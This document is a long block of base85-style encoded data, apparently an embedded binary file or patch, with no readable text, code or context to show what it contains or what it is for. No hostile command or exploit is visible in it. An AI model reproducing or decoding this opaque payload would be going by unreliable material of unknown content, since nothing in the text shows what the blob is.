zL55RZpy$y8OER?v&Wf@!_qz9sYhkjLeQ^5IxHXvn0|4aDT-xC1fB z!0&R#X@~Mba0AHJJ{U%nxmDSeHJ6-!Ae;?9JeQGI0-^BIF^14Qk=x|PUWg_*0W*Hk zf2&}sNGOr2jP5xQhAO-RY_3&Co=14vS^x?kezyIwnsIa<-a6{IpM5HSX^RB!O;*}A zzkaR%^yBI9y499doK&0#K|xSlrl!E<-gstWjI#LdlRK?4jvO;sf@%5m>XA2^o5oDO z_ZuTv_H)po9+Gx??fjwsS8Lerj$3=l#WKClu?s)oaN&}4w0!%Bz30X*L31!Kkf0`u zott0#yU*{-UFd;Prkn|~!~`yvtSc;`yu7@S?;T_~d#rRfS=-#}E?l^vGj=zJ1IJzR z(4m`oB`AtC$FrQ$WG{~OFRadd`&M`9{o9Ljho@!w9+i}F(o*gKne4t&ma_!SFuvDb zX(s~~R(AF^lq}7g^X31C{saHjKXob)Tn2H)Fsgzy{h~)U{&Wd~2T!GYcko;TCmHx) z_kA%H6_rDWsOIG`L`mFp%shGP513Sty6w}xkcqUuK5zL1l{b{%{cS8-h>$5gT81Vd z=G0b8g_9|gkQ%C-uFdw7vdEg6g0Y1rmO4sT#82BY8HEqbsqSTFipGH4W{(2x3L4_NAE?h9zI!bov9Vqs1fJL$Q8_WgHNOp~S_)+a$WTeGIdW^>*?LvT- ziO{?*tYv6da}j7NgstgolA%w3HugBn-~d809%Y}3;?X>z05~Z^%4_6(NQqiDeo+I2XyXzdxqwYWga$PdU> zKdwHNGu2C2`TGy2@V>$oCu{2ulfs{BJB!$O2a^SsNEh~fSX`qCZIQUuYKL|il@^g> z$ByVt=<=Tch6hc6WCyK<%rPP1rv|=Puc9!Zw50fz4mYK?vERPO__)u>cEh@`4Zy4ayZ2x7R0@o{k@ zi_zb_Rt(R z5+yL@+dN8t22YBkMx!65?>!!}JH+Im!GO%QA}4AHAVQ-5f-izUt0-xSDcUH@#X@`7VkA zJ5&#VR?S|0nrn%NSER*dcPBXU_2*v_w8&wPF{0(h^DWh_?d#REuV>C`OA55PtRUx4CKm{Z*O{g zdy%9(u3r6vqeVup zf4r9(M0-Fm%;G=>sMzA95e4mmo8CxV>>Eq%49NXw^R?rMe~%bwcG z5EHbR5C7!V05h}&;%JImLkttk!m2-U@(t=44CsM~<#0%!+CZSXiu0kA{jUWW51<($?07n2kWf z!MY^Qajey@-=W%~!puV2_x@;|s$PO!>V#(p4^Ddj32bFUu_Sj1?>Um#%+E&9urq2v zUwh|#18xJv1dl`^&h-HA#FPZfjPi3&pS*M!m@#P>qV6AbLT3%BAaaw3>zbMx@aRtG z&$qHs>*|M)WncfPz$jbQ=7Sa)N@!GN7~K(nzAm8A=_sY%CVo#p;S1s%lSV{D1dKP( zdK#Sm%2{A`1Er+<(;sq%EC}5U9xmh{_^#tsQH4sR>4RvaG<{&rL!)ny*yWA>4{~gr zv3_$j>FgGX9Bn(~j{B-AC~idoKEm0c<1biMxmEt*!w00oigQnszxhdJ?qX=yGc|3V zy!`kbE_#l*Oj?nG8`8|Xi}*xwad8--*G;(@vLP)jEL>vPw0R_-gH$4G>qhg0x0>R0 zMU4S<0^~QrzXFlQhOx#H4iI3NaVH0u{c9HN4>@o+jg*<lgoRW5|#$}I& zE@L<{Bt|`wk;7bTU%h&@e2gKIDL`37g!=fATP}ty=n6+%k7Q^Tm$^DQIicfnNuNO1 zeB&m5&^1UrPy_@79DDF}TrjGusKWG4Fl{=U?nAF6j?PL!JumRHFvs+4uto|)-km^m zoU3dm_UfU6POgy%E62J_XnmQ$Hvc zFnadm>R-$nw#G3en4EQ<_W$QquBRtaIt{dWz3X81Y<3CY2IwYk56xLW5AZ_|Z>n<= zmB!HEAhfl}r9EOKtW@lsxui|sP#`~f{{xjS>^-sf`*uvs=8w8bwc9Kd{Iaq>5RXA> ziqujWGf5zmq-}oEy5Ho4ghzNYz!l7Sr%IrahjmP^QG^EWD$U=t=Sb-} zKp^uzT=K>$m8v@`$6iaRVf&&T{RAQk6uS(RVJuo0IUXVo+MsQfl9oo5DjY+Egs_YO zr4%GbpxiLHkCBW=Wo2(rlb4jtVzLdesI0u@>V`~A9t2R%YhUGm4(RODg3w5Y%9A8*4O%wRYMx@IdZ=qY`r6P)YQ5>GC6M; z<70q3*;!dJk9_s%^xM8;zi**!_iw^M!s#MjL`O?BaM$qsAy^%7zWDY*S~Bay19c(G z*kOrjB}4g05_;ljKQRsF3G=E1_@XWcLIFX}rO}5U@jJGt?*<2rGJ4IdtQ65+06ZN1 z>P373Uy5HkST=Zl<$>oLro|wFNls2~b11lEY}&S4T>W-N?+hR-_|7fhtQaUeCmu2` z!kFD;&`uztQ&RmmCJjioaKYpLIdAqw!Mqw48UhoHEaQSybwX*}S71d*C zlPoU%)>c4t|H8+QB!pO)aOL7Ngz~A`cr^405Hv6wSfrmu#%otT(g=V91hotQmHO|1 zm=NE#kgkyT$bQ`g=zGMXisX-r&X-q%GXGw|mi5;wu1&5GPw5+5>+jv4_BzV|3Uk9l zJkMpe_^{bk=L+}kKIn>v=4vcN@1&EoopVd`O7So-&iRGs_0y|?5K58;`KH!S;1L)v zxOnk9RMd*se$sA0v~p&$%AUMk0(tYI+#)8vF~;Z*c^dj5V7!nk;W=GJg%RUbeRJuq z2HGmAkS<3J`#6fwGJNi5FCFG4n*IVnrYt9fTi1GUX+)p5w0J3-zh}swM8xaq$DDi4b7Q*fXG))4tKp@%+}!aQ;^X@#gVF|^ zDXwsP(_AW0uLO!2Baj;;CvpFP9w$y6Hd;a!Mn_5hJ%m6(1`WdZw-sE19khF;9D#6G zwIQG1?nq2cb(Tt_Q18FCf)f=45d;J^2nce{{d@-xe#0E$2qn2p<$&{w?=kG1HbG%Z z7Se)mi%bFu2ei8AtipiV(z0txzXWxqn zWC*FX3^6H49Lw8Sbxk9G<(y7W8Fs{~#`n|BgNzzCn)g{B?>`TeMl>1H4ES16gsBTW zn>J?*M@4~7>UPHvt|)pG*i=j08ePDR%If%BYMB2D7Mf}gT;?FcnfdbN!MUeqS8B?q zy%zyq!2$@Y>VjEGrS>p)p;VIK2(KZ{=zWU~2cLGv{w^7b z(OG=D-?fI4U;R8eU{yY%^>^H+EbrJ?Y&K0#Crz`Xbca@pnt-W@1lImH!-6#9a zU!QH_$%JiS^S9qohZ9ib_4&PN=xe&+9{;$u7FFq~GiTVB%C7x7$IHuWV`HP3MgNy4 zGS9612k@2}?ot!tQUCPGL8B8B3A2lf073u45*-(CmrXmO_s3^`k0Gc<)vcwhl ztq>U**?8S$h=``pH|EH{a`^Z8hw)c^Q8wemoT4Hp%;uu#s;aI10j)Q#_Z>ycvmaZN z>mEI76L_I)yXUJoc~0p=vCh7rc9#7Xg-iK-Pod+}i~%>~=j&@1^3b-~MwlfplQf=f z*qKoSxOs`>@f0c5Y^IFjk`e;%Fh)MqDZ-IK5*~>*hP{ThY<8XkDPQ!~`(0TV68p2A~5hi@PIBHE0_Z zGXU6OgG61yPA0b4mndBzQ+pT}N7vzr-#~Q+)fLGphJtP0T!YlCtbYhI#343hok7=H zqzo!Ly11Aa;Cw8@>b}Fe=alxmwLz&5bNq^-IV^z1088-QRNswAndaK7%h!Ljb95XG zBD=dJoYPZ@JcDZDuJN3u9-hDWkz@JH{Vy|LZgkpe=DsUi0Kuui&5zc zN@iF=v(t&TJ@%UI=WnuUc6b?sz3%(=WkXto0EREb+m&mPy>eDxXwQ5L3iEYXbf>3t zhNw+VPh&-QSy|cEzklpUtimO_arfX3VQ@;@Mzr&2+R0@3__NJ7l$WE9DJ!q~D>J*y zDIA5;3de(nVaUPgB-(3J4y{`qrz(CXzV>2W72ep6FZJ_?Nq+Flu> z@)3^?hgwYqU|%qI$C6ZlBMkKPX2L9Z(-RXD0L*cu9jeFPzdtL=rlg>N{%Z*pkV)W+ z{pMz7l)HAF%2G5fA5jTdmk<$&NtJf068Hb}eJ>juvE5D6*A6>0EZ|?tPr7*#BupfY>zy_3)0im!$OkSv0(aw^EqqGNdiCYn|!Y}*04}(IXXJ3seze36i(}4 zq>)=yUvH5=u=4ZcbBO_i70VtowI2m6mW}OyEns^>~9YA~S!h5)vX2zqf z4x@=-6i7OebmA+zF)UYYNklU{*mV6`lg$pCw0AbLcXIDqMswaHPOg4~?lynoe0?p_ z0yitGsj+dsfiMbU_Yd`?|E&^-tSW8y;j1D|1#Ns~zkEt}I`sc*0WL2>#ya!$D^9}= z#9vfy#ZrIp2XT>5z4Re`fffv0`*|)_h7#^xmoJMacEKI;PC^1%b7@8fSIpIqA3rv) zf1j7%Meft)T4BiQboK;nKOwD$+X9wdMVgu@b zEc;7X#=L4W$HvDS(JkWy(-8>HC}50A!_RcKwyN_n-oqbFNl}GT`M`m%SZIP50EkY| z$?wHl=&(wvLVVBb*Y|q95-es{H#<9Z<3G!A_F~vJa*IFndGuQv3bO0huMaa?a&H94 zlDP$KR$gT8`aR#+7*qxI)5Sgyekv7 zZ0PEh+pk$Xgr*5G1w){3gb%`ra0|oJjJqlsa5zD9pGV)~KHA+bJenW6 z#bn-++AAfVhfOl}Z#0H*kxAs3ikQL|e;W|N(}sptMQc=LphcI=tVmD>oG4VQyP;qR{K=)yO~XX$#(HQ^?u1kb2>8 zbn()qiV;^F)M3|E)S<0ce;Zw6+7}%k5fyc|U~`%^XUbYAF^*ed(D7kk$M@FV24-eX z56ZnhHIwLfB5fdT-#ReAu<#fC%lNx@fZObFAMlpto7>yk(DZ%(@k3czIV&p*Yu>}c z!k9++W^$+o!*Wh~a!2{!P~=MGZm`})Z9d(J(|X<0Q?g`BKK?!K3;vOuoE*z?g1}&m z|335Y!D=t-lV?#;MDOB~Go0i@&N2Y0scC7E*q?#A!Hve3@qDXcSyx@%)z>%bEQ7;~ zZW(wEH>AJ%LYPAX`Y!k}m$BKuX&X=a^y$-cb8{#j5_AP2qt73ZxinsbvI$EFpEe>X-CPZ(&U%&8A!7ANBj--_u(h3S`Mf%al1+X8vSzc6> z_GdN#JTnuM{zoU`%~NTQBwnvJ=|zv^EaUIz$D`myte7lb5pqz{K)inBT;p(G-(@5$ zkUhc4*{Ck=-eqEE*U=NkjFKX72-G>x$wyxF%;Ae{-Qm~7$Rxk=gx@!w`K;QTS#fTEd{U6P{)5NiH<_NdNq&NbWD~V$k&3g~!y+dK#DdP?mPeI(NX|`l zq7t^z#|?F1(uu;bFmjn&NFu(sKvsjT-$5)vf8TQ$nJ4e?W zoZ9yW&$Zo@k%x!QjiFBCKxkqj!e$17^M7t`XAKP{fw-a`BSf?jwe9sDq@@ZgV}Djx zvn1@>&?g*8>ABmRl9uL&aDV1ZA9@Z;6P6*rsnti30h7Ap@t+Lm0p^=l6|ZDb0l$C$9xeU) z`jR<|5jE-wroZiy+LP?=8rSEiS-2r`z^$U8p>dgGl)TV%i(7$NCIQEiN5YOo?w+++ zUtb^2h5YnJ%;o0)S-@-YsEG@0BtAjEDVbUVx&6_uzag-;UfZ-Js z6rjuiK2}w=gqx%*lBbhZTkC^j5~?Hse6*D9K=cu=UR`+6+0z5w*9~)WxM~6d0#_F& z&RyuXBfm{fD&_Ek!15ZAgXyu~)YOy&V9r$2u_Q(oSy@?od;7y?4~TM1Jag#qJ?f&P z3C_OA*TQtUDjW_IqHvr?&4jTao|TWtUWkR5Luu{k*!_l;<$d|cJkUNgQNLk2cQRSD z>-Fn`?aw&#s1Ml|DndHGi0i)jAa;t6vBabdq3k&<9+0ihpFfX}y+3^Tbc}#gZ&K<} zakDA(&5&#m8*nfbmX)JJS$QTR7>9s0(i;%ZAV=PfkDHmADhF+UXm8KQKc9Va(Xz&Q z07t!gl=qmg1Y{kkwo6S!1RbnsCnhKNF5=lByUREZW>FkJ8X`M}BKv3Kw0R{hfh z%8W`;s_fpJ!H3NsoJSdroVw0ZVe)P0wagMr{l&I$DjXSI^A{RNIcR}z`C)$sbV$Rl zwOZ;zjv>}!#W$qRo_&wx7&aP&V^i~teh?#L)$q&R^`aW+u4^r#Aw2_wEhsgS|K{Y6 zQ0o6+My^BP2KT=H_b)K=_wU|WilqRH`3Kw#*q4dFzv7Ou{FL&sW9Z-WMi+Rvx#3p? ziB<0z>Y{h#fL3ut@JZ!`j<7s1C(U#u!VBd!0a!8Ij(;ISE<7cfEH^99ka1at8jXQR zaRmqUMByVSOyFOL!AMTBooE_StD4S%0j9l_fWHXy=YXOCfyI$JhuWW-ni{@pdpS7j z;k6Ce$Lqv@Hk?fY7fnJDk{sim}9H;rn-M z0|T|sw=(y>$Yi=K^_b)=iHgF_IYqm*oV8u{XO01x!aanesYy2Y^0xD{b6PGA7My0f56wz4;Ov0qHY2m2lLG@fZO3O zGJqS4IXoa<0pY2AgArd-zc7k)0UtQ?xsW@K>=eWqTloiTftF&b@LM zQ!6TtMBlor*WsCIR*pfqMu-&Pdx*r0ph7h30WQqS#)dwW`t>~x19}3#%vIyFF^5>F zgMxxk|AxP=?jCr#C#bix(;1u^K-m8r9I8e(b~Egl74UKqP!RC*Pft&mIJ`VBPlEv= z+H`U5MmCpc@}h@EV!9kL5q}+Hf$&uWn`6&(@!^99$G@2X0p;Oo0)39i&#UYYJ7l;J z^j}O+^kLFfW~7D_*Z22z;wmb(C~;VY|BzdIAF;b+EeD(mxwNq+h7ocB;1UOe~RmPRg#L7 z1Cj3_rZ&zv{9TN#Y3u($=bd)U&+GJQ`cnt^pM6qKpLWdUFpNqba7L_?zs5?v>r_JU zsWYqFki2}InHfyyskV4vR*w4CB{e@}Z9P3$Cpc_x4+(3L$z9nreH4wTu@&L&VP$0n zl*YG6STv|+wKt*bHN7HSLr?`_#<-=JaO558NX!ok+!a<* zf+%%_Erxz4&Q9msw{JlZO2PL-9&}-|&wfA8>t^QWs5-9A4^wIAq4ISZr1(9zu)xL0 z80Hj?hptcm^bP;W1=ooy+p4on|`6tdUb=cmZp~+S`$DLPJAw zmEqOFZzYcnhPDo*( z`+`UZRpn6tJ48EpaGXmAdK{&=cL#XJRi4I_vA+HnRV!UxU0llQFEBUp#A}ZKEILjr zucQR4%L#muiHU89Gqb^SeeSsJ*2mnze9ML_oGiqu;s!a({%VU4&-|`1KHx9b5oA8^ z-SQrj7nuB)6<4Lbf;?am$Ml22AqK@qG7T3`>dv=!SE;nO*Ih^ zZ)?*?r`5Ih%p7Jv-kyTv#?@7o6Mewx+!u%b=gfS?GCdc zl8y8lX_|g=cD5?+1}HT+sq#ErhAUbDzCY3Ud~01Y;lrH53(rghcT^Em(^q_a{vkT{ zKZL6Eh^*`?4gvBg;!%|`d=-Gi*E$b?f^qZ}T~`+?TjPp*1;;vhMMcD#rQ1gJrPvX5 zIOzl$GcaCr$9#Q#J-E#+EpL7|xsi7*tGvxYU7+!9N=lT!SS(ErJkmE2amU~OKsixj zG`Mtfr!pk_7FqnM6IX*hiwX+vrKI2>U}WzYKYuIWhYGX*Xo#dV(f~CTRT|!p(UmGQ zENh*F%nTV#^OuH|KF|V(1447_72;8#sN`& zTiZ!=1%ofHuD1~Qp;bq8-++4s81fD%TKwxao%r_e$3j`)AeX{QTEkOc!$+J_ssmRN z&8+S(^*e-7+z?N^s7!@EDz}NDp(|*8bO)r<4=LO!F)wcJcXTfbcaWrhV3eppQ8_e+ zrYLOrMyW{*n{tgJ?X}2%dJFqX^Davj^D}E4$DX{q`#a*ezAY{?=nOzDg7XA~(Amw6 z#_K7NLW~Qd{=GWepNqnt2zf;_?MJ5Z`SnT5O4IdMJmXB{XM_9!;iMB1ZdbT3xVim> z|Bby4T=T(qE2EuIRz`~Y3Gma?!^5D|1a}YKg{EM_kk6LIN<{OhxM(ZMG34m#N=$dj z<47;)TCbsBhb(YwYYR;H{)?VF+ks>DGCW-6iTm<%pN?a7W*Coa5(Bx-0jZFyExT_%H>?CgSD9Nd+ z?$g9koeQVh1Dt`1AB~^g+Zk0dA8{n;4XL0+8WKnl^^4>f;7J`hbBI4Y~+kO;Pm;7 zw-0M-DLbaeH97aZuqWvao7g83tDPS*NqC~9dY*I$p+5eEwu}KXd*A8%$8KIKsf5+sk{=<%68Kr9R7 znt@ZM1cvLDd>)c0)h2LtkvTQkEryTnx$;Rm5Q`!B;bw>>6udeReXbWnj+_q5*&NWu)DkO1V76+AAuvTorzp=mjJ@}x9p97+jjcE!cSh%cRpRasjf zb9fPr&!3rv;RKE6&~~4N-%*a)Z$lcYuwM5I7wQ~dQgcrupK{7L8=xroB?5AMv3chP z-p?0uc#5q9@3lBrTdX0<_IG0g@KrYMJIa^X7~Vg_myCf`3`@?_M*bmhGji;*ld|tI zJQB{y(Qh)fn!AgRt?vLM0qD`B|H6^*kNnAoM(u0P0BXGU$ieIY0Y(BDIr;k8C?>RD|M^H3`&ZDV&p^`CY z)Q!wdO)cdcOMf635x0UOY*;sXy8u6v&vPcsjgWrYTWt}5vI;SsD9#ZOaQOAnIu5*KHWefjg}Pmv_*!)8K>xu1{Y5un0`aPgr{ldIHkq5jMG z69^$F=&*|%hjkNX<|UsjjE$xJSDaCv*ILDySqd*QfY>>{ALeCmBq#!9*&eI2dV4g! z&Q#d*U1==!1@|P}e`8~NaGej;kzJUn1f){)t0zciB#5Tu1l^{Bw)S?Yr2$9L zUiED|sS&j|OhY4}0ALG{FpO`o-uDN%1j*CN#aBu(adBF;F6Yl5=&dEH4e_~#U48WQ zs0w!T6PFN!RL8%wS$eL{6|I{hTI>eDAnWECs1@-)3ZA}7IAZRXN2DOWC zku7kZFimA5$ZYsBdOPXWI8lOkr=02We(pt{u4r_=p)lLLcvhZg?kA<@nJiM-fEVrU z|3Sjb=iOp=hxY{Qepg%jK5Z?nCiG0Y+xcfXq>?MAsUkE`e<629M@OU8;4|bYV@~($ zaeM@YKQpQAc1e|vT?twPEXHPFU_jv+92|_=X#&hFIyP`1-=v>d2usQv^i#7ZhoNTQ zoV7oQT`EhP-Cvh+<XD3V%V3Qk}{P3G$=lCHR!N>{8m2eehos0r$vr#rRF%_ zIc~Q5{EbxA6fU&8oKE4Xc*=_z??HcxW0KCA8Y9WlZCw)LeW=BrbuuqUguTBu-)k zY%HS~!3BzL7>BK#E09Y#O5BQz`-gnEG9#2ilx1PXolNl3(h@2RkWvybZ~;69Mh8D& zx4Pet-QWI-xM~&};s3XEWFGc4i4EuJo-?JHK79C)@LSn$IlNDpaGE{y3R2Ndb10d` zL-dZspNnqA!h++*9PSWv*6^@NJ!#3EL$KrM>Cxm=is1?k3mdIC8|APFI1xIPq$S^M z(l~8!ry`*L1nwp!u{MUcC53u0_x=CU0XL$oGcsK2Uz3~tzobiIi!Vc zXXQD60<6~n)4i04h)g0vFh1y@%de#+l8<3nWRsGT0@sz;SQ-LP6&X-PR0qt^#IDR4uftXT(!!T7 z!{`+-M?kkv<=LZ0%RqIY1xGMw4BFYot4?!YvEolUA#3$R^_-+s8r4-doA2tEs-;9T zWvWKjYb7ukNlHp8VSt0G`!C~(9CU6gD>aWFhdCTSdhiwHvKn~nsVTc^ANy`JeHQbc zo}Pe^NI6_aTxFG|JS89GfhYq+tQ@#`kF9_3TVb~?8bX|2qz~LnsJ_}$y!%gr^2Sk% zb@hw3^N%tQaNRZzCXs-$4Qb)U_m;KQRpKCPE{n$7d}AS%gv`t>Op$#5ezDuEcys~$ zM{)7N2ZcCkR(<-fCHvRceZw01n4ZtF{(E)r2*y(D9_noQwdchDQ7 z6GOxh2nXDlTT(n-L=lkFNSv7i%~5AitUvRl7u_IYG9+b0l`b)ipMz z4|;4hr0wi!iG`eL0goUoG&EiA619jFV;=IN4QNSl8bDTrcXGe;VlD%;DS%c~skq^I zja+gUNeZ_STMp3(m!4EJoTnDm8uu1eQhNG_a72*2)YiiO?-rO>)VN)pojKRC3fu8oOoIceLEY^@WhNIXf?ziV!D$ zTW+UhWyMkNqS<#jtK}*@&zimGn1wIQ>fD-sr} z(oe0vJ$o6zPQmxRz7>}?LR>LisI;WRU{zu)FTq0n63-WdEHOInsQOGySiFd+NPd1k zamUaQ*DkVFVtWGG?w2<{-o%qj8Fh7QP)mc%LjxHh7t*REbgfh(O%L?Uafj z2LTJhCdSy8_zpPH8qML6DFU*?5gNG~xxUL^h`=AH%g7Ad zNx-fOzt~w=pcDZvCs2M{I`O7BtJj zi+En;6Z3gB=hwNWzkhcSxJ=f%f1l4otLL{vQZ1{XCcy{9{9|yAxbxW`KYk!<#Y{ME z`JM<2&bfK}cD95)nXRzFN18)CVq#(r)xHCHS^y;O{TE5kVRT!1&sgxG>}Rt{ArKyWy^n*#dHU$5C=R~RUyWbAHsDq;^|w{wI0M!En9lJj zFlW~R(a|$6`+s1qT_ld5LQ`|+>+tjY2~T9P(Xy|P;pKai4vja*&!7K_5(u_$HQ0NA zQit(`{Y|f9PmEMj!jB86$Nz>R6A=Xq-yNjVgidD?UUmMT@bOMcb=>Gp%1pn2O1;3| z6C2J`Q$ai}?LtCAsDH4aq@$xFTj7c}AL9dvVmLp|3R+|&3n(b;4gW}#(k-ll} zWwpbuHhsoJCViSdWT}s)rNch7C=EKx-~bWH+-X)lK!jLmw=afi@~m+-Ye$-koa9I} z`{<1?sM-!Cb>pgI4kgiF*aIpxgkvKkBdGCE-TnLb4>Le6os}?F2TGu+%|w^VtN~7@ zwf{e=%o_-mLtf{dCXK>%n{si|Jb z>JDbd&@-VbwJjckYF`zgu&gYrd$GM}rMUe8dR&-t8m= z(9qMbx72UTbVXfS4#3H_`qKB4#%C!$vux7ZB0$T z&d#Flnwy=KhfeCtH%sBzF>!}#c}zS~u?3|JJ+z;)h890f@;}OesBlJARn@i(#j3HP z+Xe}nP~C9QBDSN}Mi*rZYS`42^$Dd6|0WBWbfxm656(B)PCJ(v$ha`al75UJ71_sW z!0mbT#(w+fNrWL`&{Dw7t3vH2hWGx^2%Z56={8gp2X!TIZWIt7E08pto%?=qlu+@b zv_cmklL~jutrr(G2(#mKlwsM~`#71{*x3PH3KY}D5c`wK+|FO}HO@{)zw(t_Ii=At z{`kTfC`xc&&5Vsd&&)(V6ElfZTi^3Iy!E5qGstg=|!Scx;arF)K_HMTaEmB?gbMqf?9O(q@p!;u{x6V3pjVFPkn zPjC9M-O%l!mvKQOu0E)cv;+o_X`OF~*;Y*Z(kj<7u)fLEYu_jM@!&dkz(HyZC&fZF zzIs&KzAQ(W%Sv*E?&`vx@bl--D70|Vp$ZB3+RaKh?|&tv;Va{DT6wU{L@P`nw-jWp zz#A}X(l0@?W-gM19JCJ~2DPvcIN9%KQMHd-i7fW}JD`pP%+^U!;Qe>2_~B4vq1Z|a zS>hI)8HmKhKL&MU@OG$az+2?79~ue4!TyP9IbiC`%U%&0hEI9pKG(xmBZ1wx-)3Kl zgUo-gXkpl=7`J5?WmBoMeJEVM(Hs zHxutUBa;tHi)uOx^Ye|4T?zOgZ?8%H`_WQ|e2Pwy#!4z7NAF0hMv6=c-&3E3Cw8r5 z^4EBHc%ZXhhi31SeePQj;|^$|5VYPm2L%CAdb@;}2gcx%V8MS6q4a=$tRF!QL@{zk z+x4i+ECh<041QT3PI_6ZF~RWSH9qGtOfNF}6Lr%C+hz1qsDg;5yA>6eAWgxVuH9C% z_u-q4XS1hrB+IP)(&TfLTtVWD1Q;Cmw@i8sy3tHMalk(dTX?K8(_um zY_Zh@ft;?ClA^|h1MBylVs%<#&H;V~bdSIt00`LOwDOm;w^q!&V>pkxKZ8xO%w$f% zv`>8Nr)Cb-4$r-N_Y!flSU?g36B9QOQ-L)M`xY?}4mZMWSBExpVM?yuJh(8i@rLB| z`UE6!Xy}$%_rKx(_281L)D{&-oVJ5ZlYI=6Ep;OMzlY(B6=vl|rOq~2&{X^=r{!Bh z%D{qqGL23Q77$l(J)ghyNs`g1avdEU7b`1!@4c1esA<9 z;8koedEMUr8Ok^WHy|)?y1NxoXd%~q{O|$Of;CXPY$n*P+x}`)zden}ui2IViFG0r zaRH4megLE|g+@2^uR{Mq)P-3Pv>F~fpj{2TSN6tHC_e03*1jh>i?O_d9x;58vAm0z z4aO`a+DeHR)isQBcY40A9HymvLZR*=xzp0JwFXVl& zL&#M4%e9;1t!i_ff@DX~E+@sqNK?S!h}(FCqz}=%j(bY_R?$*wq7H;5HlUsVO(J68 zs@vbtkSW__54wkzo4&}jn}ZXOXnUnnh`R~&u_}d!Gg!i_CNOIA6XDa@2c09Pc5VkB4MNJAZ({8UTy| zAhK1()vw)2sH$A+yF(HRES^b~T^>=O8ly)c3j|rKikJSFl9CdZvvqgRig(3wrka)a z0-1WRlzu&?bx2F&H8aPg*wnACfpAh0l2S_>LqnqN@~=esQ_n<>?cTlH@qR;ned_BM zr*)%PZyv{8hl`GS`{6PZdlI~d&JV>_OhVR$MgSSGgB-r(b?izvZS7`P`*JnG^ev=#oRWe(XxCD6$>8$$gI>6pnUO+3f(zcoZXL}^1aZ9GXw4vl1g0T zpI^RERBIhQ7(^=}qyl?;mLQ;tFN|}9K5+u22V{d&jc6GAlDHEQDpo0Y>%O7Bn%MBE ztLqn z1`hL0Xa(u%C#vi<_4RL^E`}N{T7$6BP4mH5+4)eTo#sx(&Y!KP)vy(~+j9GCb~UE| zzOveT23yYFWm(E=Xl#t5QSn2CkE?_e1eb`@ z1Pzz1irfL`J6s1D3BdS{Jdko-gB!pivKi`Co%AOmIasW_$no3?Mxtz>842&qwQY8!GzbFTXukk$YOUP@5FZ&4fr+8t z0DW+fhv^oPcTgUpdB9XVW=4DfDtH{Cvi(l)_RD$Yf}-Ga^9Rqh=#|*6XeIu(yN=Sh zzh*`8+o@aws57V0kKwA|Lz>V`KlNMBE-NjagW4FAVRS#zo(X%+CEM0}*k@@%N`{B!j}_iWE~qi_Ax3TLdk2s8l;DnMCc6!kaPPm5b8mKd>=BG_?GQucNHw!Ria(47@qn!U%nvYnG@B@bpU zYc)g&N~P&{=4yAb7W_VYxk(lRQ-mY}MJRX_m}7DN%T;^7pDlLufu%7t)j$W#%}4Qd zani2=sWN#HJhR?h#A?`op@YO@7HUmTXsw{_G!$kr;G^f3hv%OCU0o9+qh%BcDmS)> zjWI6u<$=7Hs08r6lA$z^;K)Agf5LfUptt-&|Q zIe9e*9AgSL6A8PZbj?1UcRJ_4>eIy#|DE^|T)T@?S3)X{CSUhR%Ge}1_CxelUc*U%>2mnvv&MvgvcwUZJ6b06w?`AP2ThHDpW z_3-i7)r4f&VwcJL_e3NJ8815G?02z?Ns+%v=Ena@%OHMx;|AR9xjeCBl1Pf^xhvF z2+)1$Q?M?h+=0RKB?{_Yzc?db*0t;JUSo|Z01gN;?T5(;@uH{9wpM39hWJTf@(zG0 zV0SR4(B_rcGrv)#Bd@eP#Qy@?AZTs3x3>XJTZG`4Ap%P)#`BlHw!|?o9jtr)PNSPz~CuuC5MEC!{1Gdr%|o_9M%W@bd9` zW}O%rvP`z}wBK0<@G5xLC^DTjp<%w~cKkC_>j-Y(2B0IuO06oKB8h0LV<(9_)&jQh zK)@$Kc@^%ZCgf)eWvm5UhhtriP10moJ?=Ca&1c^my>L3NKx( z<&6?6NZrBqQjop4FM2<8r>T=<{|vpBHn9pj-Yef4Sv zOS!PsW#9I_^mO9(Mf4ZM>3HQHOZ^{7_6gkumv1?Qufamp+`?iEmV?OH_#?#p!NzVd zY|||yy-!A@<&@AK!iRONiv+Ra_MyI7JHK@=W_(t#TJSG=nS-@td$+EXkSZ1Zk(lk1 zcn94%1_8lQVJv~7(ee4Lj*kC4M@!x8sz2%;=;W~&Vrj|4&20hC4jyR6KgAURX%<5o zIttF>MBy^LDt4fUh4LM!td&ZaBV_i(Uk%po_**}JiY1-+-<-)g=tz)O*+ng?u-V{7 z_C|_Iy4G&nElMMfC^1nxk^jfkb--h}w_%l2D#?a!=BkBE9<+SI^Q|x{r$f0r}yx_&-47(eP8!=U3bc&p@mgsb9d1n zmUdND)weur|2jR?2f_A0a3|kb;rwgoBW+SmFDfjFLJAPbaMHd(bqLGD0|5hYb-*9H zd?(iSuf|5*WZAIMCjl`SatEqy+t6`^BX$b4NK~;t=bDG=W%$Wi3q-v`Wx-d5I9IT7 zUdO5=Hq{T0H;bP_fe-08*uw|L-^=bAx7z*+0zwE%Fw242Rp~;K{{hMUBlft5xt9EN zQ70F~L`3czj)~VveYo?iJ~ZS*Bf43V+Cm+fS}>JgTc0+r4YvBI|4L# zv<}=uX_9;P;WMv^((Vfgnw}kEzKA3cR9grWeBYRYjq@H8d9uCmWMl0If=Yyg5kUXiS_KuE(1cIje`3BF&A3uM3;3iR{G|Fw> zRW$(xp{Gyc@d@Gc%>ZBKB%TSWB31Yy)@hvGHHK3$ZlFY0!OcBn>qAqm_`}df!{O zkeY8Y)J48~TZ%S-{Ic*J8oSTPV3JSkg0%*vE(%OHRi=_}oW98z;@h&m#N0xNiJ930 zW^P-pTP*|wYhV|hPBe^wnXiQ)mI#f~BV2q9CG^Z-!_a3`+P^nZOSAgx`g-FEoDw(@ z%D~Y95AMhOe3T+53dOKCGgni?xqS^qfY7q?EYIpy%TU2udrWb>Y`?wC04t`Q45AnW z248^UfTMx_Me)bus6`yQ#R#iW@X4{Ren_p&NC6jued7A9S5g0hy%Z$$0D1qCd;G2$ zv|MD4&cMXpA4OZ49QYu=i~TIU_rksiq$i1A+bslNg3ycdwOvhu366^Gg@~@&VgySHyh{l;SEjYo!PC;!22>^Dg z-y$?llbuv}nAgF|0jPzqM~xE*9aJka2{$INN8Y|VibNP@gUP2QJQk?sCT~$=2Q__= z@U^|QRfwH^{pAz0u976t?;Eagh=~zhafo^HL>7w<$0~eu-pjb4N`rVsL}7TTW&_%Q zW$9$IqZWn8QtOIPOn`AlMh2jTq7N^T6d}t)T8#}3(gJ@)glm53pmQc+Er66svF zJpntF_F2D=$~(GxU4uF&t+tjH(WM0JIikFWBVlN4OdKHz0QF0zrdYd6$hrX3_9;-} 